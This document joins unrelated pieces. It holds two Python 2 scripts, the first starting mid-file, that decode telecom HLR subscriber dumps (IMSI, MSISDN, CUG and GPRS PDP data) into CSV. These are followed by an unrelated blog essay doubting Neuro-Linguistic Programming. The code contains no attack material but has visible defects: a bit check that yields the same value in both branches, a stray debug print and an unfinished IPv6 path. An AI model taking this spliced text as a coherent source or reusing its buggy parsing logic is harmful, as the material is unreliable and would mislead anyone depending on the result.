        out.append( decode(pool[15:17], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Day
        out.append( decode(pool[17:19], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Hour
        out.append( decode(pool[19:21], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Minute
        out.append( decode(pool[21:23], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Determine parameter given in command
        temp = decode(pool[23:24], ENCODING.BIN)[4:]
        params = []

        if temp[3] == '0':
            params.append("1,")
        else:
            params.append("2,")
        if temp[2] == '0':
            params.append("3,")
        else:
            params.append("4,")
        if temp[1] == '0':
            params.append("5,")
        else:
            params.append("5,")
        if temp[0] == '0':
            params.append("7,")
        else:
            params.append("8,")

        #Create Parameter given in command
        out.append( "".join(params) )   # 1 bytes, Binary Coded

        #Create Parameter value
        ##out.append( decode(pool[24:32], ENCODING.BCD) + ',')   # 8 bytes, BCD Coded
        out.append( decode(pool[24:32], ENCODING.BCD) )   # 8 bytes, BCD Coded

        sys.stdout.write('\t[DONE]\n')
        sys.stdout.write('>>>call file.write(%s)' % out_path)
        #Open a file for write
        with open(out_path, 'a') as outFile :
            #Write to File
            outFile.write("".join(out))
            outFile.write('\n')
        sys.stdout.write('\t[DONE]\n')

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def getRecordEND(in_path, out_path, offset):
    """
    Function that returns the ENDOFPRINTOUT Record.
    The ENDOFPRINTOUT record is stored in the file when subscriber data output is finished..
    This record indicates end of printout.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Set the record length
        length = 12

        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset-length, 0)

            sys.stdout.write('>>>call file.read(%s)' % in_path)

            #Read the file ENDOFPRINTOUT Record
            pool = inFile.read(length)

            sys.stdout.write('\t[DONE]\n')
            sys.stdout.write('>>>extract data')

            if DEBUG : print "[DEBUG]\r\n%s\r\n[/DEBUG]\r\n" % pool ## Debugging

        out = []
        #Create ENDOFPRINTOUT Record Type
        out.append( decode(pool[:1], ENCODING.ISO) + ',')  # 1 byte

        #Create Ending Year
        out.append( decode(pool[1:3], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Month
        out.append( decode(pool[3:5], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Day
        out.append( decode(pool[5:7], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Hour
        out.append( decode(pool[7:9], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Minute
        out.append( decode(pool[9:11], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Determine the type of end of print
        ##out.append( decode(pool[11:12], ENCODING.ISO) + ',')   # 1 bytes, ISO Coded
        out.append( decode(pool[11:12], ENCODING.ISO) )   # 1 bytes, ISO Coded

        sys.stdout.write('\t[DONE]\n')
        sys.stdout.write('>>>call file.write(%s)' % out_path)
        #Open a file for write
        with open(out_path, 'a') as outFile :
            #Write to File
            outFile.write("".join(out))
            outFile.write('\n')
        sys.stdout.write('\t[DONE]\n')

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def getRecordSUBSDATA(in_path, out_path, offset):
    """
    Function that returns the SUBSDATA Record.
    A subscriber data block consists of two types of records per connected Subscriber:
        1. one SUBSDATA record with permanent subscriber data, and
        2. one optional EXTSUBSDATA record with extended subscriber data.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset, 0)

            root = None

            print '>>>call file.read(%s)' % in_path
            print '>>>extract data'
            print '>>>call file.write(%s)' % out_path

            #Open a file for write
            with open(out_path, 'a') as outFile :
                for line in inFile.xreadlines() :
                    #Create Root
                    out = []

                    #Extract SUBSDATA Record type
                    out.append( chr(int(line[:2],16)) + ',')
                    #Extract Record number
                    ##out.append( str(int(line[2:8],16)) + ',')
                    #Extract ACIMSI number
                    out.append( line[8:24].replace('f', '') + ',')
                    #Extract MSISDN
                    out.append( line[24:40].replace('f', '') + ',')
                    #Extract Number of additional MSISDN
                    out.append( str(int(line[40:42],16)) + ',')

                    #Extract Additional MSISDN Information
                    pos,i = 42,0
                    while i < int(line[40:42],16) :
                        #Extract Additional MSISDN
                        out.append( line[42+i*22:(42+i*22+16)].replace('f', '') + ',')
                        #Extract BC number tied to Additional MSISDN
                        out.append( str(int(line[42+i*22+16:42+i*22+20],16)) + ',')
                        #Extract Service pointer for BS that represents the BC number
                        out.append( str(int(line[42+i*22+20:42+i*22+22],16)) + ',')

                        i = i+1

                    #Calculate current position
                    if i != 0:
                        i -= 1
                        pos = 42+i*22+22
                    i = 1

                    #Extract SUD Information
                    while line[pos:pos+2] not in ['ff', 'fe', ''] :
                        #Extract Service pointer for permanent SUD
                        out.append( str(int(line[pos:pos+2], 16)) + ',')
                        #Extract SUD value
                        out.append( str(int(line[pos+2:pos+6], 16)) + ',')

                        pos,i = pos+6, i+1

                    #Check if IMEISV identifier is included
                    if line[pos:pos+2] == 'fe' :
                        #Extract IMEISV identifier
                        out.append( line[pos+2:pos+18] + ',')

                    #Extract End of record SUBSDATA
                    out.append( line[pos:pos+2] + ',')

                    pos += 2; #Calculate current position

                    ##################################

                    # Extract Record EXTSUBSDATA Type
                    out.append( chr(int(line[pos:pos+2],16)) + ',')
                    # Tag Closed User Group (CUG) data (Numeral 1), 1 Byte
                    cugtag = int(line[pos+2:pos+4],16)

                    if cugtag != 1 :   # No Tag CUG Data
                        #Extract End of record SUBSDATA
                        ##out.append( line[pos+2:pos+4] + ',')
                        out.append( line[pos+2:pos+4] )

                        pos += 4; #Calculate current position

                        #Append record length in bytes
                        ##out.append( str((pos+2)/2) + ',')                 

                        #Write to File
                        outFile.write("".join(out))
                        outFile.write('\n')

                        continue

                    out.append( str(cugtag) + ',')

                    pos += 4; #Calculate current position

                    # Extract CUG & BSG Data
                    while (line[pos:pos+4] != "8104"):
                        # Subtag IntraCUG data (Numeral 128), 1 Byte
                        out.append( str(int(line[pos:pos+2],16)) + ',')
                        # Length of IntraCUG data (Numeral 9 - 14), 1 Byte
                        out.append( str(int(line[pos+2:pos+4],16)) + ',')
                        # CUG Index (Numeral 0 - 32767), 2 Byte
                        out.append( str(int(line[pos+4:pos+8],16)) + ',')
                        # CUG Interlock Code Network Identity (Digit string 0000 - 9999), 2 Byte
                        out.append( str(line[pos+8:pos+12]) + ',')
                        # Interlock Code (Numeral 0 - 65535), 2 Byte
                        out.append( str(int(line[pos+12:pos+16],16)) + ',')
                        # CUG restrictions (Numeral 0 - 2), 1 Byte
                        out.append( str(int(line[pos+16:pos+18],16)) + ',')
                        # Number of BSGs affected (Numeral 1 - 6), 1 Byte
                        bsgnum = int(line[pos+18:pos+20],16)
                        out.append( str(bsgnum) + ',')

                        pos += 20; #Calculate current position

                        # BSG service pointer (Numeral 0 - 255), 1 Byte
                        for i in range(0, bsgnum):
                            out.append( str(int(line[pos:pos+2],16)) + ',')
                            pos += 2; #Calculate current position

                    # Extract Sub CUG Data
                    for i in range(0, bsgnum):
                        # Subtag InterCUG data (Numeral 129), 1 Byte
                        out.append( str(int(line[pos:pos+2],16)) + ',')
                        # Length of InterCUG data (Numeral 4), 1 Byte
                        out.append( str(int(line[pos+2:pos+4],16)) + ',')
                        # BSG service pointer (Numeral 0 - 255), 1 Byte
                        out.append( str(int(line[pos+4:pos+6],16)) + ',')
                        # Inter CUG accessibility (Numeral 0 - 3), 1 Byte
                        out.append( str(int(line[pos+6:pos+8],16)) + ',')
                        # Preferential CUG (Numeral 0 - 32767, 65535), 2 Byte
                        out.append( str(int(line[pos+8:pos+12],16)) + ',')

                        pos += 12; #Calculate current position

                    #Extract End of Record EXTSUBSDATA
                    ##out.append( line[pos:pos+2] + ',')
                    out.append( line[pos:pos+2] )

                    pos += 2; #Calculate current position

                    ##################################

                    #Append record length in bytes
                    ##out.append( str((pos+2)/2) + ',')

                    #Write to File
                    outFile.write("".join(out))
                    outFile.write('\n')

        print '>>>call file.read(%s)\t[DONE]' % in_path
        print '>>>extract data\t[DONE]'
        print '>>>call file.write(%s)\t[DONE]' % out_path

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def ExtractDump(dumps, hexFiles):
    #Loop through each dump file
    index = 0
    for dump in dumps:
        #Set output file
        outPath = dump.replace('.dat','_parsed.csv')

        #Extract AMD record
        print '>>invoke getRecordAMD(%s)' % dump
        done = getRecordAMD(dump, outPath, 0)
        if done:
            print '>>invoke getRecordAMD(%s)\t[DONE]' % dump
        else:
            raise

        #Extract SUBDATA record
        print '>>invoke getRecordSUBSDATA(%s)' % dump
        done = getRecordSUBSDATA(hexFiles[index], outPath, 0)
        if done:
            print '>>invoke getRecordSUBSDATA(%s)\t[DONE]' % dump
        else:
            raise

        #Extract ENDPRINT record
        print '>>invoke getRecordEND(%s)' % dump
        done = getRecordEND(dump, outPath, getLastPosition(dump))
        if done:
            print '>>invoke getRecordEND(%s)\t[DONE]' % dump
        else:
            raise

        index += 1

def main(argv=sys.argv):
    try:
        if argv is None :
            argv = sys.argv
        dumps = []
        hexFiles = []
        if len(sys.argv) > 2 :

            print '\n$ time:\t%s\n' % datetime.now()

            dumps.append(sys.argv[1])
            hexFiles.append(sys.argv[2])

            print '>invoke ExtractDump(%s)' % sys.argv[1]
            ExtractDump([dumps[0]], [hexFiles[0]])

            print '>invoke ExtractDump(%s)\t[DONE]' % sys.argv[1]
            print '\n$ time:\t%s\n' % datetime.now()

    except:
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]
    finally:
        print 'sys.exit(main(sys.argv))'
        ##raw_input("Press any key to continue...")

if __name__ == "__main__" :
    sys.exit(main(sys.argv))
# Input: - HLR binary dump file (ex: GPRSDUMP.dat)
#        - HLR SUBSDATA record with GPRSDUMP Tag file (ex: GPRSDUMP_subsdata.hex)
# Output: HLR decoded CSV file (ex: GPRSDUMP_parsed.csv)
# Usage: C:\>python cmd_decode_gprs.py "D:\>HLR\GPRSDUMP.dat" "D:\>HLR\GPRSDUMP_subsdata.hex"

import sys
import os
import binascii
from datetime import datetime

if not 'DEBUG' in dir() :
    """
    Debugging indicator.
      - True:   Output debugging results,
      - False:  Omit debugging results.
    """

    DEBUG = False #or True

def enum(**enums):
    """
    Function return generic enumeration type
      - enums:  enumerated list
    """

    return type('Enum', (), enums)

ENCODING = enum(BIN=0, BCD=1, TBCD=2, HEX=16, ISO=8)    #Define encoing types

def byte_to_binary(n):
    """
    Convert bytes to binary
    """

    return ''.join(str((n & (1 << i)) and 1) for i in reversed(range(8)))

def hex_to_binary(h):
    """
    Convert hex to binary
    """

    return ''.join(byte_to_binary(ord(b)) for b in binascii.unhexlify(h))

def getLastPosition(in_path):
    """
    Function that returns the last non 0x00 position.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position to EOF
            inFile.seek(0, os.SEEK_END)

            #Get EOF position
            lpos = max(0, inFile.tell())

            while lpos > 0 :
                inFile.seek(lpos-1, 0)
                if inFile.read(1).encode("hex") != '00' :
                    break
                lpos -= 1

            if DEBUG : print "[DEBUG]\r\n%d\r\n[/DEBUG]\r\n" % inFile.tell() ## Debugging

            return inFile.tell()  

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()

        #Raise the Exception and stop the program execution
        raise

def sanitizepath(path):
    if len(path) == 0:
        return;

    snpath = r'"' + path + '"'

    if path[0] == "\"":
        snpath = snpath[1:]
    if path[-1] == "\"":
        snpath = snpath[0:-1]

    return os.path.normpath(os.path.normcase(snpath))

def decode(value, encoding):
    """
    Function that decodes byte(s) according to the encoding type
      - value:      value to decode.
      - encoding:   encoding type.
    """

    #Decode to Binary
    if encoding == ENCODING.BIN :
        return hex_to_binary(value.encode("hex"))

    #Decode to BCD
    if encoding == ENCODING.BCD :
        bcd = value.encode("hex").lower()
        return bcd[:bcd.find('f')]

    #Decode to ISO
    if encoding == ENCODING.ISO :
        return value

    #Decode to Hex
    if encoding == ENCODING.HEX :
        return value.encode("hex")

def getRecordAMD(in_path, out_path, offset):
    """
    Function that returns the ADM Record.
    The ADM record is stored in the file when subscriber data output is initiated.
    This record consists of administrative data.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Set the record length
        length = 32

        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset, 0)

            sys.stdout.write('>>>call file.read(%s)' % in_path)

            #Read the file AMD Record
            pool = inFile.read(length)

            sys.stdout.write('\t[DONE]\n')
            sys.stdout.write('>>>extract data')

            if DEBUG : print "[DEBUG]\r\n%s\r\n[/DEBUG]\r\n" % pool ## Debugging

        out = []

        #Create AMD Record Type
        out.append( decode(pool[:1], ENCODING.ISO) + ',')  # 1 bytes

        #Create Exhange Idenity
        out.append( decode(pool[1:13], ENCODING.ISO) + ',')   # 12 bytes, ISO Coded

        #Create Starting Year
        out.append( decode(pool[13:15], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Month
        out.append( decode(pool[15:17], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Day
        out.append( decode(pool[17:19], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Hour
        out.append( decode(pool[19:21], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Starting Minute
        out.append( decode(pool[21:23], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Determine parameter given in command
        temp = decode(pool[23:24], ENCODING.BIN)[4:]
        params = []

        if temp[3] == '0':
            params.append("1,")
        else:
            params.append("2,")
        if temp[2] == '0':
            params.append("3,")
        else:
            params.append("4,")
        if temp[1] == '0':
            params.append("5,")
        else:
            params.append("5,")
        if temp[0] == '0':
            params.append("7,")
        else:
            params.append("8,")

        #Create Parameter given in command
        out.append( "".join(params) )   # 1 bytes, Binary Coded

        #Create Parameter value
        ##out.append( decode(pool[24:32], ENCODING.BCD) + ',')   # 8 bytes, BCD Coded
        out.append( decode(pool[24:32], ENCODING.BCD) )   # 8 bytes, BCD Coded

        sys.stdout.write('\t[DONE]\n')
        sys.stdout.write('>>>call file.write(%s)' % out_path)
        #Open a file for write
        with open(out_path, 'a') as outFile :
            #Write to File
            outFile.write("".join(out))
            outFile.write('\n')
        sys.stdout.write('\t[DONE]\n')

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def getRecordEND(in_path, out_path, offset):
    """
    Function that returns the ENDOFPRINTOUT Record.
    The ENDOFPRINTOUT record is stored in the file when subscriber data output is finished..
    This record indicates end of printout.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Set the record length
        length = 12

        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset-length, 0)

            sys.stdout.write('>>>call file.read(%s)' % in_path)

            #Read the file ENDOFPRINTOUT Record
            pool = inFile.read(length)

            sys.stdout.write('\t[DONE]\n')
            sys.stdout.write('>>>extract data')

            if DEBUG : print "[DEBUG]\r\n%s\r\n[/DEBUG]\r\n" % pool ## Debugging

        out = []
        #Create ENDOFPRINTOUT Record Type
        out.append( decode(pool[:1], ENCODING.ISO) + ',')  # 1 byte

        #Create Ending Year
        out.append( decode(pool[1:3], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Month
        out.append( decode(pool[3:5], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Day
        out.append( decode(pool[5:7], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Hour
        out.append( decode(pool[7:9], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Create Ending Minute
        out.append( decode(pool[9:11], ENCODING.ISO) + ',')  # 2 bytes, ISO Coded

        #Determine the type of end of print
        ##out.append( decode(pool[11:12], ENCODING.ISO) + ',')   # 1 bytes, ISO Coded
        out.append( decode(pool[11:12], ENCODING.ISO) )   # 1 bytes, ISO Coded

        sys.stdout.write('\t[DONE]\n')
        sys.stdout.write('>>>call file.write(%s)' % out_path)
        #Open a file for write
        with open(out_path, 'a') as outFile :
            #Write to File
            outFile.write("".join(out))
            outFile.write('\n')
        sys.stdout.write('\t[DONE]\n')

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def getRecordSUBSDATA(in_path, out_path, offset):
    """
    Function that returns the SUBSDATA Record.
    A subscriber data block consists of two types of records per connected Subscriber:
        1. one SUBSDATA record with permanent subscriber data, and
        2. one optional EXTSUBSDATA record with extended subscriber data.
      - in_path:    the input file full-path + extension.
    """

    try:
        #Open a file for read in binary mode
        with open(in_path, 'rb') as inFile :

            #Set the file's current position
            inFile.seek(offset, 0)

            root = None

            print '>>>call file.read(%s)' % in_path
            print '>>>extract data'
            print '>>>call file.write(%s)' % out_path

            #Open a file for write
            with open(out_path, 'a') as outFile :
                for line in inFile.xreadlines() :
                    #Create Root
                    out = []
                    #Extract SUBSDATA Record type
                    #out.append( chr(int(line[:2],16)) + ',')
                    #Extract Record number
                    ##out.append( str(int(line[2:8],16)) + ',')
                    #Extract ACIMSI number
                    out.append( line[8:24].replace('f', '') + ',')

                    #Extract MSISDN
                    out.append( line[24:40].replace('f', '') + ',')
                    #Extract Number of additional MSISDN
                    #out.append( str(int(line[40:42],16)) + ',')

                    #Extract Additional MSISDN Information
                    pos,i = 42,0
                    while i < int(line[40:42],16) :
                        #Extract Additional MSISDN
                        out.append( line[42+i*22:(42+i*22+16)].replace('f', '') + ',')
                        #Extract BC number tied to Additional MSISDN
                        #out.append( str(int(line[42+i*22+16:42+i*22+20],16)) + ',')
                        #Extract Service pointer for BS that represents the BC number
                        #out.append( str(int(line[42+i*22+20:42+i*22+22],16)) + ',')

                        i = i+1

                    #Calculate current position
                    if i != 0:
                        i -= 1
                        pos = 42+i*22+22
                    i = 1

                    #Extract SUD Information
                    while line[pos:pos+2] not in ['ff', 'fe', ''] :
                        #Extract Service pointer for permanent SUD
                        #out.append( str(int(line[pos:pos+2], 16)) + ',')
                        #Extract SUD value
                        #out.append( str(int(line[pos+2:pos+6], 16)) + ',')

                        pos,i = pos+6, i+1

                    #Check if IMEISV identifier is included
                    #if line[pos:pos+2] == 'fe' :
                        #Extract IMEISV identifier
                        #out.append( line[pos+2:pos+18] + ',')

                    #Extract End of record SUBSDATA
                    #out.append( line[pos:pos+2] + ',')

                    pos += 2; #Calculate current position

                    ##################################

                    # Extract Record EXTSUBSDATA Type
                    #out.append( chr(int(line[pos:pos+2],16)) + ',')
                    # Tag GPRS data (Numeral 5), 1 Byte
                    gprstag = int(line[pos+2:pos+4],16)

                    if gprstag != 5 :   # No Tag GPRS Data
                        #Extract End of record SUBSDATA
                        ##out.append( line[pos+2:pos+4] + ',')
                        #out.append( line[pos+2:pos+4] )

                        pos += 4; #Calculate current position

                        #Append record length in bytes
                        ##out.append( str((pos+2)/2) + ',')                 

                        #Write to File
                        outFile.write("".join(out))
                        outFile.write('\n')

                        continue

                    #out.append( str(gprstag) + ',')

                    # Subtag Rel-4 PDP data (Numeral 130), 1 Byte
                    #out.append( str(int(line[pos+4:pos+6],16)) + ',')
                    # Length of PDP data (Numeral 10-271), 2 Byte
                    #out.append( str(int(line[pos+6:pos+10],16)) + ',')
                    # Number of PDP contexts (Numeral 1 - 10), 1 Byte
                    pdpnum = int(line[pos+10:pos+12],16)
                    out.append( str(pdpnum) + ',')

                    pos += 12; #Calculate current position

                    # Extract PDP Data
                    for i in range(0, pdpnum):
                        # PDP context identifier (Numeral 1 - 10), 1 Byte
                        out.append( 'PDPID-' + str(int(line[pos:pos+2],16)) + ',')
                        # PDP addressing type (Numeral 0 - 2), 1 Byte
                        pdpaddtype = int(line[pos+2:pos+4],16)
                        #out.append( str(pdpaddtype) + ',')

                        # Check PDP Addressing type (dynamic, IPv4, or IPv6)
                        if pdpaddtype == 0 : # PDP Addressing type is dynamic
                            out.append('PDPADD-0,')
                            # Access Point Name (APN) identifier (Numeral 0 - 16383, 65535), 2 Byte
                            out.append( 'APNID-' + str(int(line[pos+4:pos+8],16)) + ',')
                            # Extended Quality Of Service (QOS) identifier (Numeral 0 - 4095), 2 Byte
                            out.append( 'QOSID-' + str(int(line[pos+8:pos+12],16)) + ',')
                            # Visited Public Land Mobile Network (VPLMN) address allowed (Numeral 0 - 1), 1 Byte
                            out.append( 'VPLMN-' + str(int(line[pos+12:pos+14],16)) + ',')
                            # PDP type (Numeral 0 - 2), 1 Byte
                            out.append( 'PDPT-' + str(int(line[pos+14:pos+16],16)) + ',')
                            # PDP context charging characteristics Indicator (Numeral 0, 255), 1 Byte
                            pdpcontextcharging = int(line[pos+16:pos+18],16)
                            out.append( 'PDPCH-' + str(pdpcontextcharging) + ',')
                            if pdpcontextcharging == 255 :
                                # Enhanced PDP context charging characteristics value (Numeral 0 - 65535), 2 Byte
                                out.append( 'PDPECH-' + str(int(line[pos+18:pos+22],16)) + ',')

                                pos += 22; #Calculate current position
                            else:
                                pos += 18; #Calculate current position

                        elif pdpaddtype == 1 : # PDP Addressing type is IPv4
                            # %todo%
                            #raise Exception("# %todo%\tIPv4")
                            #print "\n# %todo%\tIPv4\n"

                            # IPv4 PDP address
                            out.append( 'PDPIPv4-' + str(int(line[pos+4:pos+6],16)) + '.' + str(int(line[pos+6:pos+8],16)) + '.' + str(int(line[pos+8:pos+10],16)) + '.' + str(int(line[pos+10:pos+12],16)) + ',')

                            # Access Point Name (APN) identifier (Numeral 0 - 16383, 65535), 2 Byte
                            out.append( 'APNID-' + str(int(line[pos+12:pos+16],16)) + ',')
                            # Extended Quality Of Service (QOS) identifier (Numeral 0 - 4095), 2 Byte
                            out.append( 'QOSID-' + str(int(line[pos+16:pos+20],16)) + ',')
                            # Visited Public Land Mobile Network (VPLMN) address allowed (Numeral 0 - 1), 1 Byte
                            out.append( 'VPLMN-' + str(int(line[pos+20:pos+22],16)) + ',')
                            # PDP type (Numeral 0 - 2), 1 Byte
                            out.append( 'PDPT-' + str(int(line[pos+22:pos+24],16)) + ',')
                            # PDP context charging characteristics Indicator (Numeral 0, 255), 1 Byte
                            pdpcontextcharging = int(line[pos+24:pos+26],16)
                            out.append( 'PDPCH-' + str(pdpcontextcharging) + ',')
                            if pdpcontextcharging == 255 :
                                # Enhanced PDP context charging characteristics value (Numeral 0 - 65535), 2 Byte
                                out.append( 'PDPECH' + str(int(line[pos+26:pos+30],16)) + ',')

                                pos += 30; #Calculate current position
                            else:
                                pos += 26; #Calculate current position

                        elif pdpaddtype == 2 : # PDP Addressing type is IPv6
                            # %todo%
                            print "XOXO"
                            raise Exception("# %todo%\tIPv6")

                    #Extract End of Record EXTSUBSDATA
                    ##out.append( line[pos:pos+2] + ',')
                    #out.append( line[pos:pos+2] )

                    pos += 2; #Calculate current position

                    ##################################

                    #Append record length in bytes
                    ##out.append( str((pos+2)/2) + ',')                 

                    #Write to File
                    outFile.write("".join(out))
                    outFile.write('\n')

        print '>>>call file.read(%s)\t[DONE]' % in_path
        print '>>>extract data\t[DONE]'
        print '>>>call file.write(%s)\t[DONE]' % out_path

        return True

    except IOError as (errno, strerror):
    	#Output IO error message
        print "\nException:\n$ I/O error({0}): {1}\n".format(errno, strerror)

    except:
        #Output Exception message
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]

        #Close opened file
        if 'inFile' in dir() and not inFile.closed :
            inFile.close()
        if 'outFile' in dir() and not outFile.closed :
            outFile.close()

        #Raise the Exception and stop the program execution
        raise

def ExtractDump(dumps, hexFiles):
    #Loop through each dump file
    index = 0
    for dump in dumps:
        #Set output file
        outPath = dump.replace('.dat','_parsed.csv')

        #Extract AMD record
        print '>>invoke getRecordAMD(%s)' % dump
        done = getRecordAMD(dump, outPath, 0)
        if done:
            print '>>invoke getRecordAMD(%s)\t[DONE]' % dump
        else:
            raise

        #Extract SUBDATA record
        print '>>invoke getRecordSUBSDATA(%s)' % dump
        done = getRecordSUBSDATA(hexFiles[index], outPath, 0)
        if done:
            print '>>invoke getRecordSUBSDATA(%s)\t[DONE]' % dump
        else:
            raise

        #Extract ENDPRINT record
        print '>>invoke getRecordEND(%s)' % dump
        done = getRecordEND(dump, outPath, getLastPosition(dump))
        if done:
            print '>>invoke getRecordEND(%s)\t[DONE]' % dump
        else:
            raise

        index += 1

def main(argv=sys.argv):
    try:
        if argv is None :
            argv = sys.argv
        dumps = []
        hexFiles = []
        if len(sys.argv) > 2 :

            print '\n$ time:\t%s\n' % datetime.now()

            dumps.append(sys.argv[1])
            hexFiles.append(sys.argv[2])

            print '>invoke ExtractDump(%s)' % sys.argv[1]
            ExtractDump([dumps[0]], [hexFiles[0]])

            print '>invoke ExtractDump(%s)\t[DONE]' % sys.argv[1]
            print '\n$ time:\t%s\n' % datetime.now()

    except:
        print "\nException:\n$ Unexpected error:%s\n" % sys.exc_info()[0]
    finally:
        print 'sys.exit(main(sys.argv))'
        ##raw_input("Press any key to continue...")

if __name__ == "__main__" :
    sys.exit(main(sys.argv))

NLP: The Neuro-Linguistic Propaganda!

Hello World!

As my first post, I thought of putting out an old (Wed, Oct 17, 2012) unpublished short paper on NLP, which was actually an assignment back in grad school. I will usually blog here about technical topics in the security domain.

Anyway, if you like you can download it as a PDF document from this link https://www.dropbox.com/s/wbefhijxm75xjco/NLP%2C%20The%20Neuro-Linguistic%20Propaganda%21.pdf (SHA1:B134BFCEAD0C6FC154330B9E997195046273EE9B).

 

NLP: The Neuro-Linguistic Propaganda!

Abstract— Neuro-Linguistic Programming, simply known as NLP, widely claimed to be indispensable for anyone who wishes to communicate better,improve his/her work and personal life. In this short article, the present author will adopt a skeptical point of view regarding the “magical” power often associated with NLP “technology” in controlling peoples’ behaviors.

1. Introduction

Neuro-Linguistic Programming (NLP) is a “modeling language” for interpersonal communications concerned with the study of successful behavioral patterns and ways of positive thinking [1]. NLP can be seen as a user’s manual for the human brain, that helps unleash the inner power of positive thinking, making changes, and achieving the results that a person wants in his/her life [2]. In NLP, the conscious mind represents the goal setter (where goals are being set), while the unconscious mind is the goal getter (where actions are being motivated to get goals achieved) [1].

The initial work on NLP started during the 1960’s and 1970’s by Richard Bandler and John Grinder, at the University of California, Santa Cruz. The goal was to identify and confirm aspects of peoples’ (plural) behaviors and ways of thinking, as well as how these can be changed to a specific result [3].

NLP states that every person has a Preferred Representation System, or PRS, which can be used to explain and predict how someone would experience the present, remember the past and plan the future [4]. Supposedly, the words the person tends to use or the direction of one’s eye movements can indicates a person’s PRS [2].

In the recent years, NLP drew the attention of, not only, psychotherapists, business people, salespersons, and governments but also regular people seeking an easy way to quit a habit, adjust their lives, or a short path for success.

However, without regulations or sound scientific proofs and with the media involved, NLP became the new buzzword utilized by practitioners, self-help book writers, trainers and gurus to lure people into the metaphor for NLP training as the “software for the brain” or the “Magic Key” to control others [2, 4].

2. Magic Bullet Theory and NLP

The Hypodermic Needle Theory or the Magic Bullet Theory is a model of mass communications holds that media broadcast can directly affects the opinions and actions of viewers, thus, information can be “injected” into the receivers, and then steers their actions. The theory is rooted back to the mid and late 1930’s during WWI propaganda and Nazi’s use of the mass media [5].

A similar assumption was made in NLP. Accordingly, the tone of voice can be used to “inject” commands into people just like injecting commands into a SQL database. Furthermore, that NLP promotes the use of embedded commands to influence a target to think a certain way or take a certain action [6].

However, scientific researches and studies have shown that the human behavior responses to the internal and external stimuli in more complex ways than passive acceptance [2, 4, 5].

3. Conclusions

This concludes my thoughts regarding Neuro-Linguistic Programming (NLP). I think NLP theory looks pretty plausible, at first blush. Nonetheless, the lack of sound scientific evidences supporting NLP theory and the desperate legal attempts to hog NLP as Bandler’s intellectual property propound that NLP is simply just a clever bunk.

4. References

